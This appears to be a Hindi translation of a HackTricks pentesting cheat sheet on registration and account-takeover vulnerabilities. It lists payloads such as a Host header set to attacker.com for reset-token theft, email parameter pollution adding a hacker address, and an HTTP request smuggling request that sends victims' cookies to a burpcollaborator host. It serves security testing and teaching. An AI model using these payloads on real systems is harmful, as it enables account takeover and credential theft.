hacktricks/pentesting-web/registration-vulnerabilities.md

205 lines
16 KiB
Markdown

# पंजीकरण और अधिग्रहण कमजोरियाँ
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) चेक करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर **हमें फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## पंजीकरण अधिग्रहण
### डुप्लिकेट पंजीकरण
* एक मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने का प्रयास करें
* ईमेल को बदलने की जांच करें:
* अपरकेस
* \+1@
* ईमेल में कुछ डॉट जोड़ें
* ईमेल नाम में विशेष वर्ण (%00, %09, %20)
* ईमेल के बाद काले वर्ण डालें: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### उपयोगकर्ता नाम गणना
जांचें कि क्या आप पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है।
### पासवर्ड नीति
एक उपयोगकर्ता बनाने पर पासवर्ड नीति की जांच करें (जांचें कि क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)।\
इस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने का प्रयास कर सकते हैं।
### SQL इंजेक्शन
[**इस पृष्ठ की जांच करें** ](sql-injection/#insert-statement)यह सीखने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या पंजीकरण फॉर्म के माध्यम से **SQL इंजेक्शन** के माध्यम से जानकारी निकालें।
### ओथ अधिग्रहण
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML कमजोरियाँ
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### ईमेल बदलें
जब पंजीकृत हों तो ईमेल बदलने का प्रयास करें और जांचें कि क्या यह परिवर्तन सही ढंग से मान्य है या इसे मनमाने ईमेल में बदल सकते हैं।
### अधिक जांचें
* जांचें कि क्या आप **निष्क्रिय ईमेल** का उपयोग कर सकते हैं
* **लंबा** **पासवर्ड** (>200) **DoS** की ओर ले जाता है
* **खाता निर्माण पर दर सीमाओं की जांच करें**
* username@**burp\_collab**.net का उपयोग करें और **कॉलबैक** का विश्लेषण करें
## **पासवर्ड रीसेट अधिग्रहण**
### रेफरर के माध्यम से पासवर्ड रीसेट टोकन लीक <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
2. पासवर्ड रीसेट लिंक पर क्लिक करें
3. पासवर्ड न बदलें
4. किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
5. Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
6. जांचें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है।
### पासवर्ड रीसेट पॉइज़निंग <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
2. Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. संशोधित हेडर के साथ अनुरोध को फॉरवर्ड करें\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host header_ के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे: `https://attacker.com/reset-password.php?token=TOKEN`
### ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. हमलावर को अपने खाते में लॉगिन करना होगा और **पासवर्ड बदलें** फीचर पर जाना होगा।
2. Burp Suite शुरू करें और अनुरोध को इंटरसेप्ट करें।
3. इसे रिपीटर टैब में भेजें और पैरामीटर संपादित करें: उपयोगकर्ता ID/ईमेल\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
पासवर्ड रीसेट टोकन को हर बार यादृच्छिक रूप से उत्पन्न और अद्वितीय होना चाहिए।\
यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या यह हमेशा समान होता है, कुछ मामलों में उत्पन्न करने का एल्गोरिदम कमजोर होता है और इसे अनुमानित किया जा सकता है। निम्नलिखित चर एल्गोरिदम द्वारा उपयोग किए जा सकते हैं।
* टाइमस्टैम्प
* उपयोगकर्ता ID
* उपयोगकर्ता का ईमेल
* पहला नाम और अंतिम नाम
* जन्म तिथि
* क्रिप्टोग्राफी
* केवल संख्या
* छोटा टोकन अनुक्रम (अक्षर \[A-Z,a-z,0-9] के बीच)
* टोकन पुन: उपयोग
* टोकन समाप्ति तिथि
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध ट्रिगर करें, जैसे: test@mail.com
2. सर्वर प्रतिक्रिया का निरीक्षण करें और `resetToken` की जांच करें।
3. फिर टोकन का उपयोग एक URL में करें जैसे `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में खाली स्थान डालें। जैसे: `"admin "`
2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें।
3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें।
प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।\
देखें: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. एप्लिकेशन के अंदर या उपडोमेन में XSS खोजें यदि कुकीज़ को पैरेंट डोमेन पर स्कोप किया गया है: `*.domain.com`
2. वर्तमान **सत्र कुकी** लीक करें।
3. कुकी का उपयोग करके उपयोगकर्ता के रूप में प्रमाणीकरण करें।
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler** का उपयोग करें ताकि HTTP अनुरोध स्मगलिंग (CL, TE, CL.TE) के प्रकार का पता लगाया जा सके।\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. एक अनुरोध तैयार करें जो `POST / HTTP/1.1` को निम्नलिखित डेटा के साथ ओवरराइट करेगा:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।\
3\. अंतिम अनुरोध निम्नलिखित के समान हो सकता है
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone रिपोर्ट इस बग का फायदा उठाते हुए\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRF के माध्यम से खाता अधिग्रहण <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF के लिए एक पेलोड बनाएं, जैसे: “पासवर्ड परिवर्तन के लिए ऑटो सबमिट वाला HTML फॉर्म”
2. पेलोड भेजें
### JWT के माध्यम से खाता अधिग्रहण <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON वेब टोकन का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।
* दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT संपादित करें
* कमजोर JWT हस्ताक्षर की जांच करें
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## संदर्भ
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}